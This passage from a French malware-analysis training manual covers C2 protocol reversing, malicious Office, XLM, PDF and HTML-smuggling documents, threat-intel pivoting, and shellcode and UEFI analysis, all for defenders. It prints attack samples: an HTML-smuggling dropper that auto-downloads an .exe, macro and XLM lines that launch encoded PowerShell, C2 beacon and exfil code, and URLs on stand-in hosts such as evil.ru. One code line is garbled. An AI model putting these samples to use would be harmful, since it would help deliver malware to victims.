Lance FakeNet-NG ou utilise un proxy transparent. Exécute le malware. Analyse le trafic dans Wireshark : identifie les flux TCP/UDP entre le malware et le C2. Exporte les données brutes (Follow TCP Stream → Save as Raw). Tu as maintenant les bytes échangés entre le malware et le C2.

### Étape 2 : Analyse de la structure

Regarde les premiers bytes de chaque message. Est-ce qu'il y a un header fixe (magic bytes) ? Est-ce qu'il y a une taille dans les premiers bytes ? Est-ce qu'il y a un type de message (opcode) ? Ces trois éléments (magic, length, type) sont présents dans 80% des protocoles binaires.

**Analyser un protocole C2 binaire depuis un pcap**

```
; Exemple de protocole C2 binaire custom à analyser

; Capture Wireshark (données brutes TCP, hex) :
; Premier message (client → serveur) :
; DE AD BE EF  01 00 00 00  34 00 00 00  ...
; ^^^^^^^^^^   ^^^^^^^^^^   ^^^^^^^^^^
; Magic (4B)  MsgType(4B)  Length(4B)  Payload

; Deuxième message (même pattern) :
; DE AD BE EF  02 00 00 00  18 00 00 00  ...

; Troisième message (taille différente) :
; DE AD BE EF  03 00 00 00  A4 00 00 00  ...

; Conclusions après observation :
; - Magic bytes : 0xDEADBEEF (signature du protocole)
; - Offset 4  : Type de message (little-endian DWORD)
; - Offset 8  : Taille du payload (little-endian DWORD)
; - Offset 12 : Début du payload

; Types observés : 1, 2, 3 → 3 types de messages au minimum
; → Corroborer avec l'analyse statique dans Ghidra
; → Cherche la fonction qui construit ces headers
```

```
; → Elle devrait avoir MOV [buf], 0xDEADBEEF en entrée
```

## Étape 3 : Corroborer avec l'analyse statique

**Corroborer le protocole avec Ghidra**

```
// Dans Ghidra : chercher la construction des messages

// Pattern à chercher : une fonction qui écrit 0xDEADBEEF dans un buffer

// Search → For Scalar Values → 0xDEADBEEF

// Dans le pseudocode Ghidra, tu trouveras quelque chose comme :

void build_beacon_message(BeaconContext *ctx, uint32_t msg_type) {

    BeaconHeader hdr;

    hdr.magic    = 0xDEADBEEF;

    hdr.msg_type = msg_type;

    // Construire le payload selon le type

    switch (msg_type) {

        case 1:  // BEACON_REGISTER

            hdr.length = build_register_payload(ctx, &payload);

            break;

        case 2:  // BEACON_HEARTBEAT

            hdr.length = build_heartbeat_payload(ctx, &payload);

            break;

        case 3:  // BEACON_EXFIL

            hdr.length = build_exfil_payload(ctx, &payload);

            break;

    }

    // Chiffrer le payload avec RC4 (clé dans ctx->session_key)

    rc4_encrypt(ctx->session_key, payload, hdr.length);

    // Envoyer

    send(ctx->socket, &hdr, sizeof(hdr), 0);

    send(ctx->socket, payload, hdr.length, 0);

}

// → Structure du protocole complètement réverse-engineerée !

// → Tu sais maintenant : magic, types, chiffrement RC4

// → Écris le parser Python pour décoder les captures
```

## Étape 4 : Écrire le parser Python

**Parser Python complet pour un protocole C2 custom**

```
# Parser pour le protocole C2 custom découvert

import struct

MAGIC = 0xDEADBEEF

MSG_TYPES = {

    1: 'BEACON_REGISTER',

    2: 'BEACON_HEARTBEAT',

    3: 'BEACON_EXFIL',

}

def rc4_decrypt(key, data):

    """RC4 — même algorithme que dans le malware"""

    S = list(range(256))

    j = 0

    for i in range(256):

        j = (j + S[i] + key[i % len(key)]) % 256

        S[i], S[j] = S[j], S[i]

    i = j = 0

    out = []

    for byte in data:

        i = (i + 1) % 256

        j = (j + S[i]) % 256

        S[i], S[j] = S[j], S[i]

        out.append(byte ^ S[(S[i] + S[j]) % 256])

    return bytes(out)

def parse_c2_stream(raw_bytes, session_key):

    messages = []

    offset = 0

    while offset + 12 <= len(raw_bytes):

        magic, msg_type, length = struct.unpack_from('<III', raw_bytes, offset)

        if magic != MAGIC:

            offset += 1  # Resync

            continue

        payload_raw = raw_bytes[offset+12 : offset+12+length]

        if len(payload_raw) < length:

            break  # Message incomplet

        # Déchiffrer le payload
```

```
        payload = rc4_decrypt(session_key, payload_raw)

        msg = {
            'type':    MSG_TYPES.get(msg_type, f'UNKNOWN_{msg_type}'),
            'length':  length,
            'payload': payload,
        }

        # Parser le payload selon le type
        if msg_type == 1:  # REGISTER
            hostname_len = struct.unpack_from('<H', payload, 0)[0]
            hostname = payload[2:2+hostname_len].decode('utf-16-le')
            msg['hostname'] = hostname
        elif msg_type == 3:  # EXFIL
            filename_len = struct.unpack_from('<H', payload, 0)[0]
            filename = payload[2:2+filename_len].decode('utf-16-le')
            data = payload[2+filename_len:]
            msg['filename'] = filename
            msg['data_size'] = len(data)

        messages.append(msg)
        offset += 12 + length

    return messages

# Utilisation
with open('c2_traffic.raw', 'rb') as f:
    raw = f.read()

session_key = bytes.fromhex('ABCDEF1234567890')  # Trouvé dans Ghidra
msgs = parse_c2_stream(raw, session_key)
for msg in msgs:
    print(f'[{msg["type"]}] length={msg["length"]} {msg.get("hostname","")}')
```

CHAPITRE 4

# Analyse de Documents Malveillants

Macros VBA, XLM, PDF JavaScript, HTML Smuggling — la porte d'entrée principale

## 4.1 Macros VBA Office — anatomie et analyse

Les documents Office malveillants restent le vecteur d'infection #1 dans les campagnes de spear-phishing. Une macro VBA est du code Visual Basic embarqué dans un document .docm, .xlsm, ou .xls. Elle peut s'exécuter automatiquement à l'ouverture du document (Auto_Open, Document_Open), ou être déclenchée par l'utilisateur (bouton 'Activer le contenu').

L'analyse d'une macro malveillante a pour objectif : comprendre ce qu'elle télécharge et exécute (le payload final), identifier les domaines et URLs utilisés (IOCs réseau), et extraire les techniques d'obfuscation pour améliorer les détections futures.

**oletools — Analyser des macros sans les exécuter**

```
# oletools — Analyser les macros VBA sans ouvrir le document
# pip install oletools --break-system-packages

# Détecter la présence de macros
olevba malicious.docm
olevba -a malicious.docm  # Analyse avec flags

# Sortie de olevba :
# +------------+--------------------+--------------------------------------------+
# | Type       | Keyword            | Description                                |
# +------------+--------------------+--------------------------------------------+
# | AutoExec   | Document_Open      | Automatically executed on open             |
# | Suspicious | Shell              | May run an executable file or command      |
# | Suspicious | WScript.Shell      | May run an executable file                 |
# | Suspicious | StrReverse         | Obfuscation string reversal                |
# | Suspicious | Chr                | Obfuscation Chr() function calls           |
# | IOC        | http://evil.ru/...  | Potential URL                              |
# +------------+--------------------+--------------------------------------------+

# Extraire le code VBA brut
olevba --decode malicious.docm > macro.vba

# Si le document est chiffré (protection par mot de passe)
msoffcrypto-tool malicious.docm -d -p VelvetSweatshop  # Mot de passe par défaut commun
```

```
# Analyser avec mraptor (risque de macro)
mraptor malicious.docm

# Analyser les streams OLE (structure interne du document)
oleid malicious.docm   # Vue d'ensemble
oledump.py malicious.docm  # Détail des streams
```

## Déobfusquer une macro VBA obfusquée

Les macros malveillantes sont presque toujours obfusquées. Les techniques les plus courantes : concaténation de strings pour cacher les URLs ({ic('"htt" & "p://" & "evil.ru"')}), {ic('Chr()')} pour construire des strings caractère par caractère ({ic('Chr(104)&Chr;(116)&Chr;(116)...')}), {ic('StrReverse()')} pour inverser les strings, variables intermédiaires pour découper les appels suspects.

**Déobfuscation de macros VBA**

```
# Déobfusquer une macro VBA automatiquement avec ViperMonkey
# pip install vipermonkey --break-system-packages

# ViperMonkey émule l'exécution VBA sans l'exécuter réellement
vmonkey malicious.docm

# Sortie :
# INFO     Emulating actions for Document_Open...
# INFO     CALL Shell('cmd.exe /c powershell -enc SQBFAFg...')
# → La commande shell complète est extraite !

# Si ViperMonkey échoue (macro trop complexe),
# méthode manuelle :

# 1. Ouvre le code VBA extrait dans un éditeur (VSCode, Notepad++)
# 2. Cherche les appels suspects : Shell, CreateObject, Execute
# 3. Trace les variables de proche en proche

# Exemple de déobfuscation manuelle :
# Code obfusqué :
# Dim x As String
# x = Chr(104) & Chr(116) & Chr(116) & Chr(112)
# x = x & Chr(58) & Chr(47) & Chr(47)
# x = x & StrReverse('ur.live.rediob') & Chr(47)
# x = x & 'gate.php'

# Déobfusquer en Python :
chars = [104, 116, 116, 112, 58, 47, 47]
```

```
prefix = ''.join(chr(c) for c in chars)
# prefix = 'http://'
domain = 'ur.live.rediob'[::-1]  # StrReverse
# domain = 'boider.evil.ru'
url = prefix + domain + '/gate.php'
print(url)  # 'http://boider.evil.ru/gate.php' → IOC !
```

## 4.3 Macros XLM (Excel 4.0) — la résurgence

Les macros Excel 4.0 (XLM) sont un format de macros hérité datant de 1992. Elles sont écrites directement dans des cellules Excel (pas dans l'éditeur VBA), et beaucoup d'outils de détection les ignorent car ils cherchent du VBA. Elles ont connu une forte résurgence dans les campagnes de phishing depuis 2019.

**Macros Excel 4.0 (XLM) — analyse**

```
# Analyser les macros XLM avec XLMMacroDeobfuscator
# pip install XLMMacroDeobfuscator --break-system-packages

xlmdeobfuscator --file malicious.xls

# Sortie :
# CELL:A1, =[IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),)]
# CELL:A2, =EXEC('cmd.exe /c powershell...')

# Avec oledump pour voir les sheets cachées
oledump.py malicious.xls -v  # -v = verbose, montre le contenu des streams

# Une sheet avec very_hidden=True (non visible dans Excel normal)
# contient souvent les macros XLM

# Analyser avec olevba (supporte aussi XLM)
olevba malicious.xls
```

## 4.4 PDF malveillants — JavaScript et shellcodes embarqués

Les PDF malveillants peuvent contenir du JavaScript exécuté par le lecteur PDF, des liens vers des exploits, ou des fichiers embarqués (pièces jointes PDF). Adobe Acrobat Reader a une API JavaScript complète qui permet l'exécution de code.

**Analyser un PDF malveillant**

```
# Analyser un PDF malveillant avec peepdf
# pip install peepdf --break-system-packages
```

```
peepdf malicious.pdf

# Vue d'ensemble : objets suspects, streams, JavaScript, URLs
# Sortie :
# Objects with JS code: [4, 7, 12]
# Suspicious elements:
#   /JS in object 4       → JavaScript présent
#   /Launch in object 9   → peut lancer une application
#   /URI in object 15     → URL embarquée

# Mode interactif pour extraire le JavaScript
peepdf -i malicious.pdf
# > tree              → Structure de l'arbre d'objets
# > stream 4          → Voir le stream de l'objet 4 (décodé)
# > js 4              → Extraire le JavaScript de l'objet 4

# Alternative : pdf-parser de Didier Stevens
pdf-parser.py malicious.pdf -a  # Statistiques
pdf-parser.py malicious.pdf -o 4 -d stream4.js  # Extraire objet 4

# Déobfusquer le JavaScript avec node.js ou dans le navigateur
# Souvent du eval(unescape('%XX%XX%XX...')) — encoder en URL
python3 -c "import urllib.parse; print(urllib.parse.unquote('%68%74%74%70'))"
```

## 4.7 HTML Smuggling — contourner les proxies

HTML Smuggling est une technique moderne pour délivrer des payloads en contournant les proxies web et les filtres de contenu. Au lieu de télécharger directement un .exe (bloqué par la plupart des proxies), l'attaquant envoie une page HTML qui contient le payload encodé en base64 dans du JavaScript. Le JavaScript reconstruit le fichier côté client et le propose au téléchargement. Du point de vue du proxy : c'est du HTML et du JavaScript — parfaitement légitime.

**HTML Smuggling — extraction du payload**

```
// Exemple de HTML Smuggling — structure typique

// Le payload .exe encodé en base64 dans la page HTML
var file_data = 'TVqQAAMAAAAEAAAA//8AALgA...'  // Base64 du EXE

// Reconstruction du fichier côté navigateur
var decoded = atob(file_data);  // Décoder base64
var bytes = new Uint8Array(decoded.length);
for (var i = 0; i < decoded.length; i++) {
    bytes[i] = decoded.charCodeAt(i);
```

```
}
var blob = new Blob([bytes], { type: 'application/octet-stream' });

// Déclencher le téléchargement automatique
var link = document.createElement('a');
link.href = window.URL.createObjectURL(blob);
link.download = 'Invoice_March.exe';  // Nom du fichier proposé
link.click();  // Téléchargement automatique

// Pour l'analyste :
// 1. Si tu reçois une page HTML suspecte → cherche atob() ou Uint8Array
// 2. Extraire le base64 entre les guillemets
// 3. Décoder : base64 -d payload.b64 > payload.exe
// 4. Analyser le payload.exe normalement

# Script Python pour extraire les payloads HTML smuggling
import re, base64, sys

with open(sys.argv[1], 'r', errors='replace') as f:
    html = f.read()

# Chercher les grandes chaînes base64 (>1000 chars)
b64_patterns = re.findall(r"atob\(['\"]([A-Za-z0-9+/]{1000,}={0,2})['\"]\)", html)
if not b64_patterns:
    # Chercher aussi les variables assignées avec de grand base64
    b64_patterns = re.findall(r"=\s*['\"]([A-Za-z0-9+/]{1000,}={0,2})['\"];", html)

for i, b64 in enumerate(b64_patterns):
    payload = base64.b64decode(b64)
    fname = f'smuggled_payload_{i}.bin'
    if payload[:2] == b'MZ': fname = fname.replace('.bin','.exe')
    with open(fname, 'wb') as f: f.write(payload)
    print(f'Payload extrait : {fname} ({len(payload)} bytes)')
```

CHAPITRE 5

# Threat Intelligence et Attribution

Clustering, pivoting, fingerprinting — relier un sample à un groupe APT

## 5.1 Qu'est-ce que la Threat Intelligence réellement

La Threat Intelligence (CTI) est souvent mal comprise. Ce n'est pas juste une liste d'IOCs. C'est la production de renseignement actionnable sur les adversaires : qui ils sont, quels sont leurs objectifs, quelles techniques ils utilisent, et comment les détecter et s'en défendre efficacement.

Les niveaux de maturité de la CTI : niveau 1 (tactique) — IOCs bruts (hashes, IPs, domaines). Stale rapidement, utile pour le blocage immédiat. niveau 2 (technique) — TTPs (Tactics, Techniques, Procedures), règles YARA/Sigma. Plus durable, utile pour la détection. niveau 3 (stratégique) — compréhension des objectifs, des campagnes, de l'attribution. Sert la planification de la défense à long terme.

En tant qu'analyste malware, tu travailles principalement au niveau 2, mais tu contribues au niveau 3 via tes analyses. Chaque sample que tu analyses correctement peut contribuer à l'identification d'un groupe. Une clé de chiffrement RC4 unique que tu extrais peut se retrouver dans un autre sample, reliant deux incidents qui semblaient non liés.

## 5.2 Clustering de malwares — trouver les liens entre samples

Le clustering consiste à regrouper des malwares similaires pour identifier des familles et des variantes. La similarité peut être calculée à plusieurs niveaux : syntaxique (bytes similaires), structurel (imports, sections), sémantique (comportement similaire), et de code (fonctions similaires).

### IMPHASH — Clustering par imports

L'IMPHASH (Import Hash) est un hash calculé sur la liste des imports PE dans un ordre normalisé. Deux samples compilés depuis le même code source (même toolchain, même version) ont souvent le même IMPHASH même si leurs bytes sont différents. C'est un excellent premier niveau de clustering.

**Clustering de malwares par IMPHASH et SSDEEP**

```
# Clustering par IMPHASH — trouver des samples liés
import pefile, os, json
from collections import defaultdict
from pathlib import Path

def get_sample_features(filepath):
    features = {'path': str(filepath), 'imphash': None, 'ssdeep': None}
```

```
    try:
        pe = pefile.PE(filepath)
        features['imphash'] = pe.get_imphash()
        features['sha256']  = pefile.sha256(pefile.path=filepath) if hasattr(pefile,'sh
a256') else None
    except: pass
    return features

# Analyser un répertoire de samples
samples_dir = './malware_samples'
all_features = []
for exe in Path(samples_dir).glob('*.exe'):
    feat = get_sample_features(exe)
    if feat['imphash']:
        all_features.append(feat)

# Regrouper par IMPHASH
clusters = defaultdict(list)
for feat in all_features:
    clusters[feat['imphash']].append(feat['path'])

# Afficher les clusters de plus d'un sample
for imphash, samples in clusters.items():
    if len(samples) > 1:
        print(f'Cluster IMPHASH {imphash[:16]}... ({len(samples)} samples)')
        for s in samples:
            print(f'  → {s}')

# Deuxième niveau : SSDEEP similarity
# pip install ssdeep
import ssdeep
def compute_ssdeep(filepath):
    with open(filepath, 'rb') as f:
        return ssdeep.hash(f.read())

hashes = [(f, compute_ssdeep(f)) for f in Path(samples_dir).glob('*.exe')]
for i, (f1, h1) in enumerate(hashes):
    for f2, h2 in hashes[i+1:]:
        score = ssdeep.compare(h1, h2)
        if score > 50:  # >50% similaire
            print(f'SIMILAIRES ({score}%) : {Path(f1).name} <→ {Path(f2).name}')
```

## 5.3 Fingerprinting d'outillage C2

Identifier quel framework C2 un malware utilise est souvent plus rapide que d'analyser le malware depuis zéro. CobaltStrike, Metasploit, Brute Ratel, Silver, Havoc Operator — chacun a des signatures réseau et des caractéristiques binaires reconnaissables.

Pour CobaltStrike Beacon (le C2 commercial le plus copié/leaké) : le certificate TLS du listener a souvent le même hash JA3/JA3S. Les URIs de callback suivent des patterns par défaut ({ic('/submit.php')}, {ic('/updates.rss')}). Le Watermark dans la config identifie la licence utilisée (licences crackées ont des watermarks communs).

**Fingerprinting C2 — identifier CobaltStrike et variantes**

```
# Fingerprinting CobaltStrike via le certificat TLS
# Le certificat self-signed par défaut de CS a un hash JA3 connu

# Dans Wireshark ou depuis la ligne de commande :
# La réponse TLS Server Hello contient le certificat
# Extraire le hash SHA1 du certificat

# Avec Python et pyOpenSSL :
import socket, ssl
from OpenSSL import SSL, crypto

def get_cert_fingerprint(host, port=443):
    ctx = SSL.Context(SSL.TLSv1_2_METHOD)
    ctx.set_verify(SSL.VERIFY_NONE, lambda *_: True)
    conn = SSL.Connection(ctx, socket.socket())
    conn.connect((host, port))
    conn.do_handshake()
    cert = conn.get_peer_certificate()
    fp = cert.digest('sha256').decode()
    subject = dict(cert.get_subject().get_components())
    return fp, subject

# CobaltStrike certificats par défaut connus :
CS_DEFAULT_CERTS = {
    '87:F2:E5:A7:...',  # CS 4.0 default
    'A6:CB:E5:2A:...',  # CS 4.3 default
    # Liste complète dans le repo cobaltstrike-config-extractor
}

# Pour un C2 inconnu, cherche ces caractéristiques :
# - Certificat TLS self-signé avec 'Issuer: CN=Major Cobalt Strike'
```

```
# - Port 50050 (port par défaut du teamserver CS)
# - URI pattern : /......./         (10 random chars, /)
# - User-Agent par défaut : varies

# JA3/JA3S fingerprinting avec ja3.py
# python3 ja3.py capture.pcap
# Résultat : JA3 hash à comparer contre la base de données
# https://sslbl.abuse.ch/ja3-fingerprints/
```

## 5.4 Pivoting sur les IOCs — de l'IP au groupe APT

Le pivoting consiste à utiliser un IOC connu pour en découvrir d'autres. Tu pars d'une IP et tu arrives à un groupe APT. Voici la chaîne de pivoting typique :

**IP → Domaines :** Shodan, Censys, ou PassiveDNS te montrent quels domaines ont résolu vers cette IP. Tu passes de 1 IOC réseau à potentiellement 20.

**Domaine → Registrant :** WHOIS (même si souvent anonyme), RiskIQ PassiveTotal, DomainTools. Si le registrant a utilisé un email, pivote sur cet email pour trouver d'autres domaines.

**Certificat TLS → Infrastructure :** Censys et Shodan indexent les certificats. Un certificat custom avec le même CommonName sur plusieurs IPs = même acteur. Pivote sur le hash du certificat.

**Sample → Tooling :** IMPHASH, SSDEEP, code similarity. Même toolchain = même développeur ou même builder. VirusTotal Graph visualise ces connexions automatiquement.

**Pivoting automatisé — IP vers infrastructure APT**

```
# Pipeline de pivoting automatisé avec Shodan et VirusTotal
# pip install shodan vt-py --break-system-packages

import shodan, vt, time

SHODAN_API = 'YOUR_SHODAN_KEY'
VT_API     = 'YOUR_VT_KEY'

def pivot_from_ip(ip):
    """Partir d'une IP et découvrir l'infrastructure"""
    results = {'ip': ip, 'domains': [], 'other_ips': [], 'samples': []}

    # Shodan : info sur l'IP
    api = shodan.Shodan(SHODAN_API)
    try:
        host_info = api.host(ip)
        print(f'[Shodan] {ip} :')
        print(f'  OS : {host_info.get("os", "inconnu")}')
```

```
        print(f'  Ports ouverts : {[s["port"] for s in host_info.get("data", [])]}')
        if 'hostnames' in host_info:
            results['domains'].extend(host_info['hostnames'])
    except: pass

    # VirusTotal : samples qui ont contacté cette IP
    with vt.Client(VT_API) as vt_client:
        # Files qui ont contacté l'IP
        it = vt_client.iterator(f'/ip_addresses/{ip}/communicating_files', limit=20)
        for f in it:
            results['samples'].append({
                'sha256': f.sha256,
                'name':   f.meaningful_name,
                'tags':   f.tags,
            })
            print(f'  Sample : {f.sha256[:16]}... ({f.meaningful_name})')
        time.sleep(1)  # Rate limiting VT

    return results

# Pour aller plus loin :
# - Pivote sur les domaines trouvés vers d'autres IPs (DNS historique)
# - Pivote sur les samples vers d'autres samples similaires
# - Cherche les samples dans VirusTotal Graph pour visualiser les liens
# - Compare les samples trouvés avec les TTPs documentées des groupes APT
```

## 5.5 MISP — Partager la Threat Intel

MISP (Malware Information Sharing Platform) est la plateforme open source de référence pour partager de la threat intelligence. Il structure les IOCs en 'Events' (incidents), avec des attributs typés (IP, domaine, hash, YARA, etc.) et des relations entre eux. Il se connecte à d'autres instances MISP pour partager automatiquement la TI.

**MISP API — Créer et partager des events de TI**

```
# MISP API Python — Créer un event et importer des IOCs
# pip install pymisp --break-system-packages

from pymisp import ExpandedPyMISP, MISPEvent, MISPAttribute

MISP_URL = 'https://misp.your-org.com'
MISP_KEY = 'your_api_key'

misp = ExpandedPyMISP(MISP_URL, MISP_KEY, ssl=False)
```

```
# Créer un event MISP
event = MISPEvent()
event.info     = 'RedLine Stealer - Campaign FR_2025_04'
event.threat_level_id = 2  # High
event.distribution    = 1  # Community
event.analysis        = 2  # Completed

# Ajouter des attributs (IOCs)
# Hash
event.add_attribute('sha256',
    'abc123...sha256_hash...def456',
    comment='Dropper principal')

# IP C2
event.add_attribute('ip-dst', '185.220.101.47',
    comment='C2 server RedLine')

# Domaine C2
event.add_attribute('domain', 'evil-c2.ru',
    comment='Domaine C2 stage 1')

# URL complète
event.add_attribute('url', 'http://evil-c2.ru/gate.php',
    comment='Endpoint de reception des logs volés')

# Mutex (très stable entre variantes)
event.add_attribute('mutex', 'Global\\RedLine_XXXXXXXX',
    comment='Mutex unique identifié dans le sample')

# Règle YARA
event.add_attribute('yara',
    'rule RedLine_config { strings: $m = "Login Data" ... }',
    comment='Règle de détection famille')

# Technique MITRE ATT&CK
event.add_attribute('mitre-attack-pattern', 'T1555.003',
    comment='Credentials from Web Browsers')

# Sauvegarder l'event dans MISP
new_event = misp.add_event(event, pythonify=True)
print(f'Event créé : {new_event.id}')
```

CHAPITRE 6

# RE d'Exploits

Comprendre ce qu'un exploit fait — primitives, shellcode, CVE analysis

## 6.1 Pourquoi analyser des exploits en SOC

Analyser un exploit n'est pas seulement une compétence offensive. En SOC, comprendre un exploit te permet de : déterminer si une alerte IDS correspond à une vraie exploitation ou à un scanner, évaluer la criticité d'un incident (est-ce que l'exploit a réussi ?), comprendre quel payload a été livré via l'exploit, et écrire des règles de détection précises pour les tentatives futures.

Ce chapitre ne t'apprend pas à écrire des exploits — c'est un domaine séparé (vulnerability research). Il t'apprend à LIRE un exploit existant et à comprendre ce qu'il fait, ce qui est une compétence défensive essentielle.

## 6.2 Lire un exploit : identifier les primitives

Un exploit, qu'il soit pour un navigateur, un document Office, ou un service réseau, réalise toujours les mêmes étapes fondamentales. Comprendre ces étapes te permet de lire n'importe quel exploit même sans connaître la vulnérabilité sous-jacente.

**Primitive 1 — Corruption mémoire :** l'exploit déclenche la vulnérabilité pour corrompre de la mémoire (buffer overflow, use-after-free, type confusion). Dans le code : une séquence qui envoie des données malformées ou crée une situation race condition.

**Primitive 2 — Info leak :** lire de la mémoire qui ne devrait pas être lisible pour obtenir des adresses (nécessaire pour bypasser ASLR). Dans le code : une lecture vers une adresse calculée, la valeur lue est utilisée pour calculer des offsets.

**Primitive 3 — Controle du flux d execution :** rediriger RIP/EIP vers le payload. Dans le code : une écriture à une adresse calculée, souvent vers une GOT entry, une vtable, ou un return address.

**Primitive 4 — Payload :** le shellcode ou la ROP chain exécuté après la prise de contrôle. C'est souvent la partie la plus analysable — c'est du code que tu peux analyser directement dans Ghidra.

## 6.3 Analyser un shellcode post-exploitation

Une fois qu'un exploit a réussi, il exécute un shellcode. Le shellcode est souvent de plusieurs types :

- `Stager` : télécharge et exécute le vrai payload (Meterpreter, Beacon). Petit, quelques centaines de bytes.
- `Stageless` : contient tout le payload. Plus gros (100Ko+). Pas de connexion réseau nécessaire pour le déployer.

- `Egg hunter` : cherche le vrai payload ailleurs en mémoire. Utilisé quand l'espace disponible est très limité.
- `ROP chain` : séquence de gadgets ROP pour bypasser DEP/NX. Chaque 'gadget' est la fin d'une instruction existante.

**Analyser un shellcode Meterpreter — extraire le C2**

```
# Analyser un shellcode stager Meterpreter x64
# Ces bytes commencent tous de la même façon :

# FC 48 83 E4 F0  →  cld / and rsp, -0x10  (alignement stack)
# E8 C0 00 00 00  →  call +0xC0            (saute au bout du shellcode)
# ...              (données : config réseau, DLL names)
# ...              (au bout : le vrai code qui appelle les APIs)

# Signature Meterpreter reverse_tcp x64 :
# FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50
# Cette signature est stable entre versions → règle YARA fiable

# Analyser dans Ghidra (raw binary) pour trouver l'IP/port
# L'IP et le port sont encodés dans les premiers bytes du shellcode
# Pour Meterpreter reverse_tcp :
# bytes[0:4]  = IP en big-endian
# bytes[4:6]  = Port en big-endian

import struct
shellcode = bytes.fromhex('fc4883e4f0e8c000000041514150...')

# Trouver l'IP et le port dans le stager
# L'offset varie selon la version - cherche un push imm32 + push imm16
# Méthode : cherche une séquence 'push imm / push imm' dans le code
for i in range(len(shellcode)-6):
    if shellcode[i] == 0x68:   # PUSH imm32
        ip_bytes = shellcode[i+1:i+5]
        ip = '.'.join(str(b) for b in reversed(ip_bytes))
        if shellcode[i+5] == 0x68:  # Autre PUSH
            port_bytes = shellcode[i+6:i+8]
            port = struct.unpack('>H', port_bytes)[0]
            if 1 <= port <= 65535:
                print(f'C2 potentiel : {ip}:{port}')
```

## 6.4 CVE Analysis — de l'advisory au code

Quand une CVE critique sort (EternalBlue, Log4Shell, ProxyLogon...), ton équipe doit évaluer si votre infrastructure est exposée, et comprendre ce que fait l'exploit pour améliorer les détections. Voici comment aborder une CVE que tu ne connais pas.

**Étape 1 — Lire l advisory.** NVD (nvd.nist.gov), le bulletin de l'éditeur, et si disponible le writeup du chercheur. L'advisory te dit : quel composant, quel type de vulnérabilité (RCE, LPE, DoS), et dans quelle condition c'est exploitable.

**Étape 2 — Trouver le PoC.** GitHub, Exploit-DB, PacketStorm, les tweets du chercheur. Télécharge le PoC dans ton lab isolé. Lis-le avant de l'exécuter.

**Étape 3 — Identifier les artefacts.** Qu'est-ce que l'exploit envoie sur le réseau ? Quel payload est exécuté après exploitation ? Quels processus sont créés ? Ces informations te permettent d'écrire des règles de détection précises.

CHAPITRE 7

# Analyse de Firmware et UEFI

La couche sous l'OS — implants UEFI, BootKits, persistence absolue

## 7.1 Le firmware : la couche en dessous de l'OS

Le firmware UEFI (Unified Extensible Firmware Interface) est le code qui s'exécute dès que le processeur démarre, avant le bootloader Windows, avant l'OS, avant tout. Un implant dans le firmware survit à : une réinstallation de Windows, un formatage du disque, et même le remplacement du disque dur (si l'implant est dans le firmware de la carte mère ou dans la flash NOR chip).

Les implants UEFI ont été documentés dans des APTs avancés : MosaicRegressor (Kaspersky, 2020), ESPecter (ESET, 2021), CosmicStrand (Kaspersky, 2022), BlackLotus (ESET, 2023). Ce n'est plus de la science-fiction — c'est une réalité documentée dans des intrusions APT réelles.

Pour la plupart des SOC, l'analyse firmware est rare et spécialisée. Mais savoir en chercher les signes et savoir comment les outils de détection fonctionnent est de plus en plus important.

## 7.2 Extraire et analyser un firmware UEFI

Le firmware est stocké dans une flash NOR sur la carte mère. Pour l'analyser, tu dois d'abord l'extraire. Méthodes : depuis l'OS (certains fabricants exposent une API de lecture du firmware), via un outil constructeur (fwupdmgr sur Linux, UEFI BIOS Flasher sur Windows), ou hardware (programmer clips sur la puce flash — niveau avancé).

**Analyse firmware UEFI — extraction et inspection**

```
# Analyser un firmware UEFI avec UEFITool et binwalk

# Étape 1 : Extraire le firmware (si pas déjà disponible)
# Sur Linux avec fwupdmgr :
fwupdmgr get-devices            # Voir les dispositifs firmware
fwupdmgr get-updates            # Firmware updates disponibles
# Pour certains systèmes, les firmware peuvent être téléchargés
# depuis le site du constructeur en binaire .bin ou .cap

# Étape 2 : Extraction des volumes avec binwalk
# pip install binwalk --break-system-packages
binwalk firmware.bin
# Sortie :
# 0x000000   Intel x86 or x64 microcode update
# 0x0A0000   UEFI PI Firmware Volume, 4GB size
```

```
# 0x0B0000   UEFI PI Firmware File System
binwalk -e firmware.bin  # Extraire tous les composants reconnus

# Étape 3 : Analyse avec UEFITool
# GUI : ouvrir le firmware dans UEFITool
# Cherche les modules (DXE drivers, PEI modules)
# Chaque module est un PE compilé pour UEFI

# Version ligne de commande (UEFIExtract)
UEFIExtract firmware.bin all  # Extraire tous les modules
# Génère un répertoire avec tous les modules en .efi

# Étape 4 : Analyser les modules suspects dans Ghidra
# Les fichiers .efi sont des PE standards (UEFI utilise des PE)
# Importe dans Ghidra normalement
# ATTENTION : les types sont spécifiques UEFI
# Plugin UEFI-RE-module pour Ghidra ajoute les types UEFI

# Étape 5 : Vérifier les signatures des modules
# Un implant UEFI = un module non signé par le fabricant
# OU un module dont le hash ne correspond pas à la version officielle

# Avec chipsec (outil de sécurité firmware Intel) :
# pip install chipsec --break-system-packages
python3 -m chipsec.main  # Analyse de sécurité du firmware
python3 -m chipsec.main -m common.secureboot.variables  # Vérif Secure Boot
```

## 7.3 Détecter un implant UEFI

Puisque l'OS ne peut pas faire confiance au firmware compromis, la détection doit venir de l'extérieur ou de l'intérieur avec des techniques indirectes.

- `Secure Boot violation` : un implant UEFI doit souvent désactiver Secure Boot ou ajouter une exception pour charger du code non signé. Surveille les changements des variables UEFI de Secure Boot.
- `Comparaison firmware` : compare le firmware actuel avec le binaire officiel du constructeur. Tout octect différent = modification suspecte.
- `Analyse du bootloader` : ESPecter et BlackLotus infectent le Windows Boot Manager (bootmgfw.efi). Compare son hash avec la version attendue selon la version Windows.
- `Chipsec` : outil Intel qui vérifie la configuration UEFI, les variables de sécurité, et peut détecter certaines modifications connues.
- `TPM measurements` : le TPM enregistre des mesures du firmware au boot. Si elles changent sans mise à jour légitime = modification.

CHAPITRE 8

# RE à l'Échelle Industrielle

Analyser des milliers de samples, clustering ML, pipelines automatisés

## 8.1 Architecture d'un pipeline d'analyse à grande échelle

Quand tu travailles dans un grand SOC ou une équipe CTI, tu reçois des centaines de samples par semaine à trier. L'analyse manuelle ne suffit plus. Il faut une architecture qui trie automatiquement, identifie les nouveaux malwares (pas encore connus), et priorise les samples nécessitant une analyse manuelle.

Architecture typique d'un pipeline d'analyse :

- Intake : réception des samples (emails, MISP feeds, honeypots, VirusTotal retro-hunt)
- Deduplication : hash check pour éviter de ré-analyser les connus
- Triage statique automatique : PE analysis, strings, YARA scan → score de risque
- Sandbox dynamique : CAPE ou outil interne → rapport comportemental
